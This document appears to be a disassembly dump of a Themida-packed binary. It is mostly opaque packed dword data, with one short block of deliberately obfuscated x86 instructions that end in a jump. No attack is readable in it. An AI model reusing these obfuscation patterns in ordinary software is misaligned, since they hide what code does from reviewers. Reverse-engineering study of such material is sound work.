		dd 0E1EADA5Dh, 84E11C5Eh, 5FE2929Ah, 455E40F8h,	0A1E7D10Bh
		dd 4798794Fh, 8B1471Ah,	0FCAA3FDAh, 0E0872653h,	2E5C5D47h
		dd 0AE5EEC93h, 96684FC0h, 0DDC79A43h, 8319ACDCh, 6B12ABDAh
		dd 26CFE8D2h, 2210A69Eh, 41956B28h, 0C8598C35h,	0A49E8821h
		dd 4FDFFBD1h, 74A3F07Ah, 0CBDF3h, 4CE91A00h, 49E410B7h
		dd 44DF0DB4h, 40D908AFh, 40D104ABh, 3DF810ABh, 3BE2770Ah
		dd 33DA6F0Eh, 2AD16601h, 0F9C65BFAh, 0BB2C9D8Bh, 60774396h
		dd 69FC2C8Eh, 999119C2h, 7EAA5303h, 0E9AFF5DFh,	0A447A2F4h
		dd 65953CD1h, 0EC743DD2h, 33705EF4h, 0DE4191CBh, 9ECC750Bh
		dd 99C76E03h, 0A0D057FEh, 2DB55E05h, 0B7B19F35h, 0D23B8EBCh
		dd 9EA329FFh, 6897EE75h, 0C45E7h, 0D471A200h, 0D16C983Fh
		dd 0CC67953Ch, 0C8619037h, 0C8598C33h, 0C5809833h, 0C36AFF92h
		dd 0BB62F796h, 0B259EE89h, 814EE382h, 0BBB42513h, 0E8FF4396h
		dd 69FC2C16h, 0A49119C2h, 0A3F245B6h, 0C05B8949h, 25F88019h
		dd 5A00EE84h, 1547A2F6h, 0DA06AD42h, 0D1FFA63Bh, 0A2FA136h
		dd 0F6A9C82h, 59FC7E5Ah, 0B96001ABh, 0C35E9120h, 9C9E8C22h
		dd 0C747A1FAh, 14814DF4h, 41439BFAh, 0C70ED05Eh, 11FB6B7h
		dd 0FF839F7Eh, 4A340BEAh, 8856h, 2CBA00h, 0F326CF65h, 234BB62h
		dd 8E2FC86Fh, 54FD8BA4h, 13279021h, 8F20336Bh, 3763644Eh
		dd 0A57F0298h, 6883A9A7h, 188A18Bh, 811C49D2h, 0F9A041DAh
		dd 12A74672h, 33C9C149h, 0A22FC745h, 491FF247h,	0FA692B95h
		dd 6BB53665h, 0C800000Bh, 0C269FE97h, 0BB62F796h, 0B65DF28Dh
		dd 0B259EE87h, 0B651E67Fh, 15B0E39Eh, 11ACD980h, 10A3D57Ch
		dd 11A4D47Bh, 5341AF7Ch, 4396BAE2h, 2C44162Dh, 2FD06500h
		dd 6Ah,	65002CA5h, 0A78D15BEh, 0AA40E174h, 0F29B0CFAh
		dd 4BE649A3h, 1154A6F2h, 0FEE8894Fh, 6BA608F6h,	13C347A2h
		dd 9C5BB425h, 422CFF43h, 159F7548h, 15FA694Fh, 0AF865E6h
		dd 24550000h, 2955FC91h, 2452F98Eh, 1E4DF489h, 1447EE83h
		dd 3951EC81h, 25BA4B7Eh, 1FB4517Eh, 16AB4678h, 13A83F6Fh
		dd 79EAD846h, 0C44396BAh, 0FC2CDBADh, 0B3BC269h, 0F2188977h
		dd 906349A3h, 0C6548EFh, 848A0D02h
dword_5A00DC	dd 69A704E8h, 0A92C856Fh, 1F19AF9Eh, 0C1AB4A76h, 276CDh
					; DATA XREF: Themida_:0053DBC0o
		dd 0AE3E3100h, 42D8D058h, 0A2F9AA54h, 0B926547h, 2E9F8D3Dh
		dd 79439CE9h, 6A76BCA6h, 88B62B50h, 4DE81A00h, 662816ACh
		dd 34E0450h, 2912C5Ah, 534D37D6h, 0A24BD980h, 1DB8E572h
		dd 523CDD76h, 19AFA72Fh, 0F38EC069h, 0D84AB34Ch, 2677012h
		dd 72E72D17h, 8D47F8A7h, 4F7B24BAh, 0CA809B0h, 37213C3Dh
		dd 0E619A849h, 210BA44Bh, 0A5407019h, 9E396910h, 0C16820C8h
		dd 2AABDAF9h, 0A1Eh, 16AB4A7Bh,	0FA4436Fh, 0A9F3A68h, 4993463h
		dd 2972A5Dh, 61944F67h,	67943BD0h, 609239CEh, 598930C5h
		dd 0EE5C29BEh, 96B98F00h, 0F1C3DA43h, 4977002Ch, 548007AEh
		dd 0D87912B9h, 7F029037h, 0F9819A1Dh, 6D083BB3h, 37BFE2CCh
		dd 34BBA93Fh, 6B4798D0h, 2C590298h, 2855FC91h, 0B4AB52C5h
		dd 6405DFCDh, 948C14BDh, 992955FEh, 96993AABh, 11B28543h
		dd 0DFE7D16Ah, 0AAD67F2Fh, 0F7CB640Bh, 43969986h, 0CE14FED1h
		dd 419575C4h, 0ED962CFFh, 0E99025C0h, 0E28B21BCh, 5BFA2AB5h
		dd 0D37A1BB4h, 0A937503Ah, 8C33CE00h, 0E9625D2Bh, 2DCEB244h
		dd 73124243h, 7AF00F9Dh, 384B3F0h, 95Eh, 56EB8ABBh, 4FE483AFh
		dd 4ADF7AA8h, 44D974A3h, 42D76A9Dh, 0A1D48FA7h,	0A7D47B10h
		dd 0A0D2790Eh, 99C97005h, 2E9C69FEh, 96B8CF40h,	31031A43h
		dd 16877525h, 6149A3F2h, 0EFE25FC6h, 0BA5B4EB3h, 65CED4D0h
		dd 0B549A3C2h, 8D9DA26Ch, 78E8100Ah, 0E3CD37A5h, 0AA4038C0h
		dd 8C33CE01h, 130109F3h, 47A22109h, 32DB7144h, 757D6706h
		dd 0B62715C5h, 1439C21h, 1543442Eh, 941CE57Ah, 1318069Ch
		dd 404194B2h, 2C98AABDh, 917BBF53h, 7E2EC497h, 8312A5D5h
		dd 0CDCEB857h, 0C4740A9Dh, 923E65D6h, 0F3DDB03Dh, 821545ECh
		dd 7F6C68ACh, 0FA7BAAF0h, 8AAh,	0AA3FD607h, 0A338D703h
		dd 9E33CEFCh, 982DC8F7h, 8E23BEF1h, 0ED20DBF3h,	0EB18BF54h
		dd 0E416BD52h, 0E515BC51h, 82F0BD52h, 96B72394h, 85576E43h
		dd 0A3F27AE7h, 98EBE49h, 8D2854DDh, 0EDB64BECh,	2ED76D65h
		dd 27C067FEh, 285353Dh,	3C417C4h, 1B614BB2h, 47A32C47h
		dd 45F58B5Eh, 17CCAFC2h, 62F13145h, 58F19835h, 0A83B6D6Eh
		dd 0A73A6C13h, 9CC97200h, 0A0D35A01h, 24C55E05h, 8283F3Ah
		dd 0AB50000h, 6F48A82h,	47A2D6C4h, 29F59C6Fh, 439CC6BCh
		dd 82B059E9h, 808ADE1Fh, 7112AC42h, 0EC4731CAh,	85399C22h
		dd 37A31FB6h, 7000001h,	0C067FA2Ch, 0CA710C39h,	0CD741343h
		dd 0EC811446h, 0D9801345h, 1DB3AB30h, 0A3F2B62Fh, 2340C349h
		dd 4BDEA3E5h, 0D7781542h, 7920F3EDh, 8128C5F2h,	8B32CBFAh
		dd 0B99E0FFDh, 16E949A3h, 8C889667h, 0D146D019h, 0B9C23321h
		dd 3A0D49A3h, 8A1D4F50h, 7C1B4BF4h, 0B2E48B92h,	41EA781Fh
		dd 0B9E87712h, 3BF03620h, 0EB49A3B9h, 78AA94A2h, 14AE3215h
		dd 0B45594DDh, 11D1561Fh, 0A03CB63h, 1DB3540Bh,	0A380C62Fh
		dd 872E0149h, 0EA5B49F9h, 3549A37Fh, 6DDECC62h,	0B849A380h
		dd 0CDFAFBE5h, 0C7F49B30h, 76F9872Eh, 9F79D715h, 0E4E5CF6Eh
		dd 0F7A21B4h, 0BC437019h, 6A54F590h, 6710010Fh,	0B2B39D38h
		dd 0AC53E885h, 963FE67Fh, 9280160Eh, 47A26A94h,	0B057ECBFh
		dd 0A454EA83h, 9C4A45B6h, 0D3BD9043h, 948C11BAh, 4AAB10FEh
		dd 13E6439Ch, 6EB8016Ch, 65FA93C0h, 4DF491BEh, 8E241CA4h
		dd 7A0235DEh, 9C4A1B8Ch, 0F2936643h, 2F58C208h,	0C093419Bh
		dd 0D02CA72Ah, 4E1CC222h, 89B65D64h, 0A957ECh, 4F503AD3h
		dd 47F58A1Dh, 0AEB41EC4h, 0BEEAAEB0h, 3EDF781Fh, 820A8854h
		dd 0D806F48Ah, 0A347A2F2h, 76A229D0h, 0AD042D7h, 37A8967Fh
		dd 8249A3F2h, 5D8146AFh, 27B7EF05h, 0A613DF86h,	0D349A365h
		dd 41F126F0h, 0A365E253h, 0C0311F49h, 0B49A365h, 0F3DDB038h
		dd 0AF4D3B9Ah, 2CA119h,	20C90000h, 1EAC53EEh, 0A371BF30h
		dd 96370A49h, 2CE0ACh, 81F2BE65h, 0E149A3F2h, 74A08E98h
		dd 2B5844D9h, 0DD49A3D1h, 0FFFF9E54h, 7C25CAFFh, 0C9CAB44Dh
		dd 14A4FE99h, 8B7F0AC2h, 0D4B42631h, 1CAEB411h,	37EBh
		dd 75631300h, 46A3F204h, 0D57C1548h, 0F7E1B43Ch, 8B7F0A2Bh
		dd 831E4CF5h, 8D5943DCh, 0F2C63725h, 3E1149A3h,	0CC7525E4h
		dd 521E0899h, 0B65002Ch, 4332E4F6h, 0A8000000h,	0F58B7F0Ah
		dd 0A290204Ch, 49A3F231h, 6108A97Ch, 42E25FC8h,	3BD2D364h
		dd 7C258551h, 7811B849h, 0F283F4E2h, 0FBCE49A3h, 0AA1B0911h
		dd 0E749A3F2h, 5B87103Eh, 0F9311BBCh, 0B125449Eh, 0B65002Ch
		dd 0FE2CE4F6h, 7FF0BC63h, 0DF49A3F2h, 0EE978896h, 0E78027BEh
		dd 33CEFCFDh, 0F513B29Eh, 18A149A3h, 0FFFFF4A5h, 65002C8Eh
		dd 847222D0h, 49A3F213h, 7EA18B5Eh, 0E568FEF6h,	3DC3DA03h
		dd 6197C929h, 928B642Fh, 11FF07F1h, 47A24717h, 2AB85F32h
		dd 0FB65181h, 8F172FAEh, 0EB8C55A2h, 0E34EBB01h, 6492439Ch
		dd 6C9B22C9h, 0C0792AD1h, 62D3C176h, 0AD439CE3h, 0B09339DAh
		dd 0CB756066h, 7671FB5h, 0CB000000h, 132h, 820AA800h, 9B44F48Ah
		dd 0A1E7D16Ch, 47A303C7h, 0DA680FE2h, 35C19157h, 0A9930E5Bh
		dd 0C5F37CA8h, 49EA832Ah, 6B52C8B4h, 3466439Ch,	3DE483B3h
		dd 0C46D03A4h, 0BD56FD98h, 0F325CCD3h, 0F344B960h, 0FDA4436Fh
		dd 5AC4976h, 918D9B54h,	4FF947B0h, 4EF58A1Dh, 1919871Eh
		dd 0FEA54070h, 4A7A7B65h, 32453DABh, 6B0A3AE4h,	0A22552E4h
		dd 0DB74CBD4h, 0C2A9362h, 81CB3C39h, 5D02913h, 0D71A2FA8h
		dd 0C1h, 8D850A3Bh, 0BC214EF7h,	74B8BA58h, 11FB9CE6h, 0C9372545h
		dd 0D649A3F2h, 5462E57Bh, 2D66F4BCh, 2558240Eh,	497C25B1h
		dd 8E7811B8h, 2C6DE233h, 250F69FCh, 0CDB74A7Ch,	7F0A62B4h
		dd 0B426318Bh, 0AEB411D4h, 2BEB1Ch, 0A4F0000h, 25318B7Fh
		dd 0A3F2C637h, 0E43E1149h, 0B34E7C25h, 254DC1C9h, 0F2168775h
		dd 8E6149A3h, 0D877A3A4h, 32E4F67Eh, 40h, 8B7F0AA8h, 0C5752531h
		dd 0A3F266D7h, 0DF7EAA49h, 44179F38h, 0F2A3145Ah, 55B049A3h
		dd 4CE916BFh, 0F257C8B6h, 0CFA249A3h, 7C2519E5h, 0C4CCB64Fh
		dd 65002C50h, 48A2250Bh, 14641094h, 99ABE2CCh, 0FFFF2D32h
		dd 93C36CFFh, 0CAB44DF4h, 69FC2CFEh, 142E50D3h,	0C8D060CEh
		dd 0E3EC5DEh, 0C2239482h, 9B6E49A3h, 7B765FAh, 0ED94315Eh
		dd 0C20F8054h, 875A49A3h, 0FAF27A9Dh, 0D7CC7664h, 0B48747A2h
		dd 0A6D67F0Dh, 0E5CF680Fh, 9CA7329Fh, 0B27C5F43h, 0B606A92Ch
		dd 816F1F1Fh, 439CAF10h, 0CF6E9A5Bh, 5FEE8F28h,	0B5A99332h
		dd 4Ah,	8A820A19h, 0A69444F4h, 49A3F235h, 59CAB880h, 0A449A3F2h
		dd 4630D1h, 47A3017Eh, 0BD40D6A9h, 4432DEFFh, 439C9CD3h
		dd 85E24B1Eh, 162F1946h, 9CB6DD4Ah, 19270A43h, 0B5FBFED7h
		dd 10CDC1Fh, 5B040000h,	4CE58C2Bh, 7C259662h, 0CBCCB64Fh
		dd 0B666FC9Bh, 0A3F257C8h, 0ECDAA249h, 49A3F27Bh, 6852F3C6h
		dd 0FC95C84Fh, 79ECE55h, 0EA9D960h, 0F222CB79h,	0FBA23565h
		dd 811AC162h, 0EF285197h, 0ACDC49A3h, 26008319h, 618269Fh
		dd 27A19700h, 95073DC5h, 0CDFDA4ABh, 62EA933Ah,	7B24D46Ah
		dd 0F21FAE49h, 35236953h, 7247A255h, 4563D4C2h,	0DBAE439Ch
		dd 436F7F1h, 913AD071h,	841DC45Fh, 42CA939Ah, 2C95305Ch
		dd 37A09340h, 0B046E785h, 945632C2h, 10A67941h,	51C2B060h
		dd 9C3D9246h
		dd 0ABDEDFC9h, 0A8DB841Ah, 1889770Dh, 633D9246h, 0F19FA690h
		dd 0DA811C48h, 23565741h, 7452BC92h, 71A0F07Fh,	289F0h
		dd 20B5E600h, 1DB8E48Bh, 18B3E188h, 14ADDC83h, 0CA5D87Fh
		dd 9C4DC77h, 0FFA63BD6h, 0F79E33D2h, 0F69D32C5h, 0CD9A2FC6h
		dd 0B100715Fh, 344B4396h, 7AF92C62h, 780EAF4Eh,	989CB6F5h
		dd 745ECCB6h, 0FF96C66Dh, 0A225F86Ah, 0E3BC479Ch, 1E412B4Bh
		dd 1A089E96h, 47A23C98h, 402A32B5h, 6752BF8Eh, 9B0837Dh
		dd 9C50D03Dh, 4CE51443h, 5AEB1EA5h, 3E0843B3h, 0AB7558FEh
		dd 0B661B025h, 0B22A1Fh, 2C8E0000h, 23D369FCh, 0A3F2C435h
		dd 523C0F49h, 0E67FB239h, 0EE4A733Fh, 0CEFE49A3h, 0EDE35442h
		dd 662E49A3h, 0A3ED0778h, 0DE7F5249h, 0D1FEA73Dh, 0AF48D34h
		dd 992C5C03h, 0C9C149F2h, 0CE574533h, 0CFA247A2h, 0F1E9713Ah
		dd 23C86D5Bh, 0B0834195h, 0A33E711Ah, 0B334670Eh, 0BB42E984h
		dd 0C150F18Ch, 0B44DF48Fh, 7CD3D13h, 635F07Eh, 19985h
		dd 30C5F600h, 2DC8F49Bh, 28C3F198h, 24BDEC93h, 1CB5E88Fh
		dd 19D4EC87h, 0FB64BE6h, 7AE43E2h, 6AD42D5h, 0DDAA3FD6h
		dd 0B010816Fh, 445B4396h, 0A0F92C72h, 6422783Ah, 760BAC56h
		dd 0E71A9FCFh, 0A618AD4Eh, 0CD82A225h, 315F9DC6h, 30995469h
		dd 0C7B1AC81h, 58FF96C6h, 7106A1D1h, 922820A8h,	0D34432E2h
		dd 1E49A31Dh, 111B614Bh, 3E47A1FAh, 0D35B73BBh,	7963DE3Bh
		dd 6D16AC7Fh, 65FEA540h, 9ACA737Bh, 8FBF66FBh, 0C4B262F8h
		dd 439CDB53h, 4265E0BDh, 0EB730A2Bh, 6C152E18h,	6856ECE4h
		dd 41915ED9h, 0F96A5820h, 443D8F4Dh, 84FAD071h,	0FEF07A7Ch
		dd 0E04ECFh, 0C3D0000h,	113DE479h, 0C3AE176h, 635DC71h
		dd 0FC2FD66Bh, 2139D469h, 0DA23366h, 79C3966h, 0FE932E60h
		dd 0FB902757h, 61D2C02Eh, 0AC4396B0h, 820AC395h, 0CF06F48Ah
		dd 664798D9h, 0B9134DCBh, 0BAED48B3h, 3EE58627h, 5BF087B7h
		dd 5BF184B4h, 701F86B2h, 74C5D61Eh, 10A950F1h, 241B8C7Ah
		dd 93664396h, 23C490A9h, 8A6FDD3Ah, 48F829F7h, 0B708E95Ah
		dd 0F861340Dh, 5A52CC5Ah, 0DBDCC6B5h, 0F3760CABh, 0F259CBEDh
		dd 2B321C5Dh, 6EDFCD7Dh, 0B90DB74Bh, 0F16250E6h, 3C0DB74Ah
		dd 4E7E7F69h, 4C7821B7h, 20AEC7B1h, 43E5039Dh, 917B4653h
		dd 21C86190h, 8D10C0B6h, 71C219A0h, 58C99DDDh, 0A30DB76Bh
		dd 0BD8BE6D0h, 2FC46393h, 27BD5888h, 6B188977h,	90630DB7h
		dd 30C8DA6h, 82000000h,	0FB2C7C5Eh, 0C3CC36Ah, 194BD279h
		dd 2350D77Eh, 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h
		dd 57830AB1h, 506711B8h, 0BB53E089h, 97C20D2h, 3D8BC381h
		dd 0EB81305Fh, 12824DB0h, 10A9EB81h, 0D8012759h, 4E8835Bh
		dd 5C240487h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		push	12D03D75h
		pop	esi
		push	ebp
		mov	ebp, 27CB6579h
		shr	ebp, 3
		or	ebp, 36026F0Dh
		neg	ebp
		sub	ebp, 0B4277921h
		xor	esi, ebp
		pop	ebp
		mov	edx, esi
		pop	esi
		push	892h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		pop	dword ptr [ecx+8]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_544543
; ---------------------------------------------------------------------------
		db 12h,	0EEh, 0F0h
		dd 0F4B8F6EFh, 3060D43h, 85C650C5h, 60709CDh, 17256847h
		dd 0B5FFCF38h, 607059Dh, 3963858Dh, 0D0FF0607h,	858DD88Bh
		dd 60723ADh, 1046850h, 0D3FF0000h, 9CD85C6h, 68530607h
		dd 8307F8BFh, 59DB5FFh,	858D0607h, 6073963h, 8589D0FFh
		dd 60D2826h, 3335BD83h,	0F000607h, 0B84h, 959D8B00h, 0E906072Fh
		dd 5, 0BBh, 1006800h, 0B58D0000h, 60D282Ah, 95FF5356h
		dd 6072B21h, 282AB58Dh,	0F003060Dh, 1E9h, 3E804E00h, 9840F5Ch
		dd 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h,	0D282A85h
		dd 95FF5006h, 60D2826h,	0FDE0FF58h, 4625BCFAh, 0AA093C56h
		dd 0B774C2E1h, 63B9B40h, 655F4BF8h, 6F5A96EEh, 640C1F27h
		dd 0B15CEA42h, 720C2A54h, 0BD0C12DEh, 0F5693EF2h, 0FB1C7BA5h
		dd 7E40E003h, 1326FA34h, 336634E0h, 0E2446AA1h,	0EB12CC10h
		dd 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch,	88006C6Ch
		dd 34074621h, 0D4A3D25Dh, 64D6DFh, 0
		dd 0E9000000h, 6BEh, 0D471368h,	37BDE906h, 0D968FFFAh
		dd 0E9060D47h, 0FFFA37B3h, 0D487568h, 37A9E906h, 3868FFFAh
		dd 0E9060D49h, 0FFFA379Fh, 0D4A2A68h, 3795E906h, 0FC68FFFAh
		dd 0E9060D4Ah, 0FFFA378Bh, 0CE630233h, 0C75CFB27h, 0C257F220h
		dd 0BC51EC1Bh, 0BA4FE215h, 194C071Fh, 1F4CF388h, 184AF186h
		dd 1141E87Dh, 0A614E176h, 96AD47B8h, 0A97B9243h, 2D32h
		dd 0FC2CA800h, 0FC2AD369h, 0B821BA61h, 84C49A64h, 0C9E2CCA6h
		dd 55851242h, 0E1821BC2h, 0D3F3604Ch, 53749A3h,	333DC72h
		dd 3A24BD64h, 820AC133h, 0F236A795h, 0AE8149A3h, 0AC53F21Fh
		dd 0EEDC7213h, 47A2FE40h, 0F9A2380Bh, 0F18A31CCh, 0B522EE07h
		dd 0E2439CDDh, 26AF31FFh, 0B41FB5D5h, 243h, 9F0633DCh
		dd 8F13AD33h, 37DE7F3Eh, 25E8B49Eh, 0CFB94C7Ch,	159D23E0h
		dd 2ED7871Dh, 347A6401h, 47A2F98Ah, 1E8F7D45h, 69439CE9h
		dd 35DC75A8h, 0D35AFB9Ch, 0B24209C7h, 0B038B7Fh, 79ACC75h
		dd 7927151Dh, 447D6D4Dh, 432DB71h, 3F29C269h, 0C1EF9826h
		dd 91193C26h, 0A0150399h, 0BB77615Dh, 79A952E8h, 97C548DEh
		dd 0A7EDF7B6h, 8A383F29h, 2913AEE1h, 416FF828h,	472F05A6h
		dd 0C32A2969h, 4C01394h, 0E8190000h, 0E511B84Dh, 0E00EB54Ah
		dd 0DA09B045h, 0D003AA3Fh, 0ED05A035h, 0D166FF32h, 0CB60FD2Ah
		dd 0CA5FF224h, 0BF54F323h, 259684F2h, 704396ABh, 0FC2C8759h
		dd 3523D369h, 49A3F2C4h, 39523C0Fh, 9F480890h, 38D30109h
		dd 9F3377CFh, 147A68FEh, 4F47A22Ch, 9039E77Ch, 0F1E0CA63h
		dd 2E26AE12h, 2300AA98h, 20BB419Bh, 0E55A33F2h,	0A3C02979h
		dd 231A2353h, 0D0DC6304h, 0D519CBFCh, 0D46A62EAh, 0C44D7B24h
		dd 0BC55FC95h, 0F1DB741Bh, 0F6A6FDABh, 4EF5C8A2h, 4371DA5h
		dd 8A3AD071h, 2E18B3E1h, 0EAB673E8h, 0D5F38E9Ch, 441DC1A5h
		dd 650EA445h, 660DA235h, 0FB84B136h, 0EC8D2EC9h, 0D3755416h
		dd 0B637664Ch, 3FAh, 0EE832253h, 0E77C1B47h, 0E2771240h
		dd 0DC710C3Bh, 0DA6F0235h, 396C273Fh, 3F6C13A8h, 386A11A6h
		dd 3161089Dh, 0C6340196h, 96AB67D8h, 0C99BB243h, 0C269FC2Ch
		dd 3999119h, 0A3033315h, 0F68B5E47h, 17ADA52Dh,	58C9B767h
		dd 0A3439CD3h, 0CDA0E6D0h, 0E441920Dh, 90345449h, 831CC35Eh
		dd 0D3EE5B1Ah, 0C3F39C32h, 38E18F24h, 8788720Bh, 8B19C057h
		dd 1EE52E08h, 85B7F679h, 11B24BF2h, 967C0427h, 1242D164h
		dd 9233CC73h, 0A0440EFCh, 2CFF3B8Eh, 75A78A56h,	800130EEh
		dd 35Eh, 5AEF86B7h, 53E887B3h, 4EE37EACh, 48DD78A7h, 3ED36EA1h
		dd 9DD08BA3h, 9BC86F04h, 94C66D02h, 95C56C01h, 32A06D02h
		dd 96AAD344h, 35071E43h, 0C269FC2Ch, 3999119h, 0B8C47E80h
		dd 0AD46ED88h, 874A0744h, 7A68F9E6h, 8F791A52h,	223B9987h
		dd 936647A2h, 1B55DFEh,	3ED30000h, 0F4EC74CAh, 0F8C6705Eh
		dd 0AE8147A2h, 91EE1B27h, 890B0C0h, 0B68C7A10h,	0C34C5EF3h
		dd 0E3B42513h, 0C6F84858h, 63EB842Bh, 0D9ACA690h, 41018932h
		dd 80D95B71h, 7B11B255h, 5253188Dh, 0CA603346h,	6E58F321h
		dd 1806B666h, 424DB2A7h, 64FF31F2h, 998324BDh, 38CD6898h
		dd 0F0C66191h, 0FB38B41Ah, 9BF071A0h, 0F4000002h, 0F69D32C3h
		dd 0EF962BCAh, 0EA9126C1h, 0E68D22BBh, 0F28D22B3h, 59EC1FDAh
		dd 55F01DC4h, 4CE719C0h, 45E010B7h, 8775E3B0h, 4396A916h
		dd 2C784A61h, 50D369FCh, 76AAC02h, 849D871Fh, 841F4DF6h
		dd 9C8F00EEh, 7DA49A3h,	7A72FA1Dh, 7F90F6E4h, 0F8CB47A2h
		dd 0A339CE63h, 0DD8D231Bh, 0AE893A5Ah, 0CEB8FE90h, 9B78DE88h
		dd 30C69941h, 15BC5B87h, 0CB99927Ch, 0AC53F222h, 13E32913h
		dd 0B1C2F610h, 189B3129h, 96A397C3h, 0D26B9A88h, 7F1922Bh
		dd 79A64FFFh, 0B29C35DCh, 0B1FC966Ch, 37DEB1ACh, 780E068Eh
		dd 416845C8h, 72331EEAh, 0DACD4288h, 2ADAA6A5h,	0A13ACB3Ch
		dd 604E16A2h, 0A2A139EFh, 0DCC6673Ah, 0C9790FE2h, 3ABA2B19h
		dd 3205A2A1h, 0A139ED5Eh, 477738A2h, 0CF7009B0h, 434DDE5h
		dd 535DC71h, 4C309C72h,	0D3025B6Ch, 1A952h, 34D10200h
		dd 31CCF89Fh, 2CC7F59Ch, 28C1F097h, 28B9EC93h, 25E0F893h
		dd 23CA5FF2h, 1BC257F6h, 12B94EE9h, 0E1AE43E2h,	0A8148573h
		dd 485F4396h, 69FC2C76h, 6DFA2AD3h, 65FEA540h, 6B0635C4h
		dd 28412BC4h, 0E211F77Fh, 6607A047h, 300E2D0h, 741D47A3h
		dd 0CCC6B041h, 25F264F9h, 12B94C7Ch, 22BBEA79h,	0D5F8E27Bh
		dd 3CBF554Dh, 0EDA0DE40h, 434B3594h, 984D4455h,	26BC8F47h
		dd 25BA4D7Dh, 10B74E7Eh, 51E7DF67h, 35DC75A8h, 0BCAAB29Ch
		dd 418B07E1h, 0F69F3508h, 0F39A2FC6h, 0B8E24C3h, 551D4829h
		dd 0BAD3BD43h, 0FB918911h, 0D875A24Bh, 0DE77AA31h, 13FD9E37h
		dd 87341FCDh, 633DC3Bh,	0FAAD867h, 82582B25h, 0EE4C4B40h
		dd 0D772F322h, 30000000h, 2AD166FFh, 23CA5FFEh,	1EC55AF5h
		dd 1AC156EFh, 1EB94EE7h, 7D184B06h, 791441E8h, 780B3DE4h
		dd 790C3CE3h, 0BBA917E4h, 4396A84Ah, 0AAC7E95h,	6F48A82h
		dd 47992CFDh, 37BE6538h, 0B8558207h, 41D77811h,	0B94E55BEh
		dd 331D9BF5h, 0D455852Ch, 0CF680FA2h, 50F9872Eh, 36A79523h
		dd 81439669h, 0DD230DAEh, 24E0F674h, 3BE27BA8h,	46ED88B4h
		dd 0F721EF82h, 0C18D2EC9h, 7F2FE02Eh, 0BAD62091h, 0AE986BE0h
		dd 55EA7DADh, 0C7F97EAEh, 5DE48B2Ch, 3FB09E2Eh,	8AE0BAD6h
		dd 0E86F16B7h, 0F27920B9h, 0D18229C4h, 9B0E0E18h, 0AA53C452h
		dd 87F8E67Ah, 0D2E0BAD6h, 73745EFFh, 680FA443h,	5E079D38h
		dd 94AD972Eh, 0D13h, 71A44D00h,	892AC3F2h, 935F49E2h, 0FB2C7C5Eh
		dd 0C3CC36Ah, 194BD279h, 2350D77Eh, 295CE38Ah, 376AF198h
		dd 4170F79Eh, 4C7A01A8h, 57830AB1h, 686711B8h, 4A27h, 50241C89h
		dd 405E089h, 2D000000h,	4, 5C240487h, 57243489h, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 0B951240Ch,	60D45F9h, 0C8BCE89h
		dd 4C48324h, 240C8B54h,	5604C483h, 5FBBB53h, 5C295A7Ch
		dd 8F5B0424h, 41810841h, 7C05FB08h, 2434FF5Ah, 4C48359h
		dd 5024348Bh, 405E089h,	83000000h, 48704C0h, 14E95C24h
		dd 33FFFA31h, 97D6F9D4h, 0D61584AEh, 0F8B8875Bh, 3060D4Bh
		dd 0C9E0FFC5h, 212B529Eh, 5545CAD5h, 8A02E6A9h,	70738992h
		dd 597995E7h, 44221CD0h, 273675E0h, 893282A2h, 2C2716C7h
		dd 0CC2B9118h, 0C76C81F1h, 435DB4DAh, 0F914836Dh, 9B7EEFDBh
		dd 89075E1Fh, 1853E9A3h, 0C68242Ch, 0BE7DFC8Dh,	154EEC63h
		dd 886EC2A6h, 0E86D1ED0h, 12h, 3F65967Fh, 49A6F1E9h, 553F41C4h
		dd 495006B8h, 8B66FBDEh, 0C3815BD3h, 6369h, 0A977F6B9h
		dd 4BE98117h, 5117A95Fh, 60038B5Eh, 0F6E88166h,	0C08161C7h
		dd 3BCC74CDh, 81F9BF0Fh, 35D151C0h, 815E504Fh, 3CD05CF0h
		dd 6E9507Dh, 3F000000h,	5C2CB905h, 0F038F13h, 0E85h, 9E900h
		dd 8B750000h, 41893242h, 83CD950Ah, 0BE801EBh, 0EA000000h
		dd 0F9EC0A6Eh, 7C6157FEh, 0DE806045h, 4B4B5E02h, 71DA804Bh
		dd 20850F49h, 60000000h, 0F8F6E9B9h, 26E96144h,	56000000h
		dd 12C9BD1Eh, 0FF9BD78Ah, 7D4C7475h, 0E4FCB186h, 667D5A5Eh
		dd 0EDE9DA81h, 0FFFF70E9h, 0BF2DF4FFh, 8BD511BFh, 8EBE2h
		dd 0B2000000h, 0E9255AF9h, 47Ch, 0D4E9868h, 2FCDE906h
		dd 1568FFFAh, 0E9060D4Fh, 0FFFA2FC3h, 0D50A068h, 2FB9E906h
		dd 3061FFFAh, 2D590095h, 2856FD92h, 2251F88Dh, 184BF287h
		dd 354DE87Dh, 19AE477Ah, 13A84572h, 12A73A6Ch, 79C3B6Bh
		dd 6DDECC3Ah, 0B84396A5h, 0F92CCFA1h, 0A3AC168h, 0FE2CD56Bh
		dd 0A9727963h, 0A5932921h, 47A2F76Fh, 0C490370Ah, 439CE657h
		dd 26CD689Bh, 33DA6D9Fh, 7EBE88C3h, 0F62BF5D8h,	6C530A73h
		dd 0F2DC2A34h, 0B5DB3C99h, 2E79E1Fh, 3E020000h,	0FEF67EC0h
		dd 0F8D07A68h, 0B88B47A2h, 2EF2531h, 0F97CB87Ah, 2346DA64h
		dd 5E816BD3h, 9848DED6h, 9DAFAD15h, 0F8E25B38h,	361AD8B2h
		dd 7920F344h, 7A1342EBh, 2D503AD3h, 0F392BFA5h,	7C12B34Ch
		dd 2F11428Eh, 0A036093Eh, 9B30C7F7h, 5B31C4F4h,	0F315EEABh
		dd 0EA57D807h, 94000002h, 963DD263h, 8F36CB6Ah,	8A31C661h
		dd 862DC25Bh, 922DC253h, 0F98CBF7Ah, 0F590BD64h, 0EC87B960h
		dd 0E580B057h, 27158350h, 4396A4B6h, 0A18EA01h,	6F48A82h
